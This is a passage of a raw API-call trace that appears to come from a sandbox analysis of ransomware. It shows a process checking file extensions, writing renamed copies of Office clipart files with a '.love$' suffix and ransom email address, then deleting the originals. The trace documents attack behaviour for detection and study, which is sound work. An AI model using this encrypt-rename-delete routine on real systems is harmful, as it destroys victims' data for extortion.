[0122.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.262] lstrlenW (lpString=".7z") returned 3 [0122.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0122.263] lstrlenW (lpString=".dbf") returned 4 [0122.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0122.263] lstrlenW (lpString=".1cd") returned 4 [0122.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0122.263] lstrlenW (lpString=".jpg") returned 4 [0122.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0122.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0122.263] lstrlenW (lpString=".doc") returned 4 [0122.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.263] lstrlenW (lpString=".docx") returned 5 [0122.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.263] lstrlenW (lpString=".pdf") returned 4 [0122.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.263] lstrlenW (lpString=".xls") returned 4 [0122.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.263] lstrlenW (lpString=".xlsx") returned 5 [0122.263] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.263] lstrlenW (lpString=".ppt") returned 4 [0122.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0122.263] lstrlenW (lpString=".zip") returned 4 [0122.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.264] lstrlenW (lpString=".rar") returned 4 [0122.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.264] lstrlenW (lpString=".bz2") returned 4 [0122.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.264] lstrlenW (lpString=".7z") returned 3 [0122.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0122.264] lstrlenW (lpString=".dbf") returned 4 [0122.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0122.264] lstrlenW (lpString=".1cd") returned 4 [0122.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0122.264] lstrlenW (lpString=".jpg") returned 4 [0122.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.264] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.264] lstrlenW (lpString="BD06200_.WMF") returned 12 [0122.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0122.265] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=16676) returned 1 [0122.265] CloseHandle (hObject=0x348) returned 1 [0122.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220 [0122.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0122.265] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.265] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0122.266] GetLastError () returned 0x0 [0122.266] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x4124, lpOverlapped=0x0) returned 1 [0122.269] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x4130, lpOverlapped=0x0) returned 1 [0122.270] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0122.270] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0122.271] SetEndOfFile (hFile=0x364) returned 1 [0122.271] CloseHandle (hObject=0x364) returned 1 [0122.272] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.273] SetEndOfFile (hFile=0x348) returned 1 [0122.274] CloseHandle (hObject=0x348) returned 1 [0122.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0122.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0122.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0122.275] lstrlenW (lpString=".doc") returned 4 [0122.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.275] lstrlenW (lpString=".docx") returned 5 [0122.275] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.275] lstrlenW (lpString=".pdf") returned 4 [0122.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.275] lstrlenW (lpString=".xls") returned 4 [0122.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.275] lstrlenW (lpString=".xlsx") returned 5 [0122.275] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.275] lstrlenW (lpString=".ppt") returned 4 [0122.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0122.275] lstrlenW (lpString=".zip") returned 4 [0122.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.276] lstrlenW (lpString=".rar") returned 4 [0122.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.276] lstrlenW (lpString=".bz2") returned 4 [0122.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.276] lstrlenW (lpString=".7z") returned 3 [0122.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0122.276] lstrlenW (lpString=".dbf") returned 4 [0122.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0122.276] lstrlenW (lpString=".1cd") returned 4 [0122.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0122.276] lstrlenW (lpString=".jpg") returned 4 [0122.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0122.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0122.276] lstrlenW (lpString=".doc") returned 4 [0122.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.276] lstrlenW (lpString=".docx") returned 5 [0122.276] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.276] lstrlenW (lpString=".pdf") returned 4 [0122.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.276] lstrlenW (lpString=".xls") returned 4 [0122.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.276] lstrlenW (lpString=".xlsx") returned 5 [0122.276] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.276] lstrlenW (lpString=".ppt") returned 4 [0122.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0122.277] lstrlenW (lpString=".zip") returned 4 [0122.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.277] lstrlenW (lpString=".rar") returned 4 [0122.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.277] lstrlenW (lpString=".bz2") returned 4 [0122.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.277] lstrlenW (lpString=".7z") returned 3 [0122.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0122.277] lstrlenW (lpString=".dbf") returned 4 [0122.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0122.277] lstrlenW (lpString=".1cd") returned 4 [0122.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0122.277] lstrlenW (lpString=".jpg") returned 4 [0122.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.277] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.277] lstrlenW (lpString="BD07761_.WMF") returned 12 [0122.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0122.278] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=26748) returned 1 [0122.279] CloseHandle (hObject=0x348) returned 1 [0122.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220 [0122.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0122.279] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.279] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0122.280] GetLastError () returned 0x0 [0122.280] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x687c, lpOverlapped=0x0) returned 1 [0122.866] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x6880, lpOverlapped=0x0) returned 1 [0122.920] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0122.922] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0122.922] SetEndOfFile (hFile=0x364) returned 1 [0122.922] CloseHandle (hObject=0x364) returned 1 [0122.929] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.929] SetEndOfFile (hFile=0x348) returned 1 [0122.930] CloseHandle (hObject=0x348) returned 1 [0122.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0122.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0122.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0122.931] lstrlenW (lpString=".doc") returned 4 [0122.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.931] lstrlenW (lpString=".docx") returned 5 [0122.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.931] lstrlenW (lpString=".pdf") returned 4 [0122.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.931] lstrlenW (lpString=".xls") returned 4 [0122.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.931] lstrlenW (lpString=".xlsx") returned 5 [0122.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.931] lstrlenW (lpString=".ppt") returned 4 [0122.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0122.931] lstrlenW (lpString=".zip") returned 4 [0122.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.931] lstrlenW (lpString=".rar") returned 4 [0122.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.931] lstrlenW (lpString=".bz2") returned 4 [0122.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.931] lstrlenW (lpString=".7z") returned 3 [0122.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0122.931] lstrlenW (lpString=".dbf") returned 4 [0122.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0122.931] lstrlenW (lpString=".1cd") returned 4 [0122.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0122.932] lstrlenW (lpString=".jpg") returned 4 [0122.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0122.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0122.932] lstrlenW (lpString=".doc") returned 4 [0122.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.932] lstrlenW (lpString=".docx") returned 5 [0122.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.932] lstrlenW (lpString=".pdf") returned 4 [0122.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.932] lstrlenW (lpString=".xls") returned 4 [0122.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.932] lstrlenW (lpString=".xlsx") returned 5 [0122.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.932] lstrlenW (lpString=".ppt") returned 4 [0122.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0122.932] lstrlenW (lpString=".zip") returned 4 [0122.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.932] lstrlenW (lpString=".rar") returned 4 [0122.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.932] lstrlenW (lpString=".bz2") returned 4 [0122.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.932] lstrlenW (lpString=".7z") returned 3 [0122.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0122.932] lstrlenW (lpString=".dbf") returned 4 [0122.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0122.932] lstrlenW (lpString=".1cd") returned 4 [0122.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0122.932] lstrlenW (lpString=".jpg") returned 4 [0122.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.933] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0122.933] lstrlenW (lpString="BD19563_.GIF") returned 12 [0122.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0122.933] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=20454) returned 1 [0122.933] CloseHandle (hObject=0x348) returned 1 [0122.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220 [0122.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0122.934] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.934] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0122.934] GetLastError () returned 0x0 [0122.934] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x4fe6, lpOverlapped=0x0) returned 1 [0122.937] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x4ff0, lpOverlapped=0x0) returned 1 [0122.938] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0122.938] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0122.939] SetEndOfFile (hFile=0x364) returned 1 [0122.939] CloseHandle (hObject=0x364) returned 1 [0122.944] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.944] SetEndOfFile (hFile=0x348) returned 1 [0122.946] CloseHandle (hObject=0x348) returned 1 [0122.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0122.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0122.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0122.947] lstrlenW (lpString=".doc") returned 4 [0122.947] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0122.947] lstrlenW (lpString=".docx") returned 5 [0122.947] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0122.947] lstrlenW (lpString=".pdf") returned 4 [0122.947] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0122.947] lstrlenW (lpString=".xls") returned 4 [0122.947] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0122.947] lstrlenW (lpString=".xlsx") returned 5 [0122.947] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0122.947] lstrlenW (lpString=".ppt") returned 4 [0122.947] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0122.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0122.947] lstrlenW (lpString=".zip") returned 4 [0122.947] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0122.947] lstrlenW (lpString=".rar") returned 4 [0122.947] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0122.947] lstrlenW (lpString=".bz2") returned 4 [0122.947] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0122.947] lstrlenW (lpString=".7z") returned 3 [0122.947] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0122.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0122.947] lstrlenW (lpString=".dbf") returned 4 [0122.947] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0122.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0122.947] lstrlenW 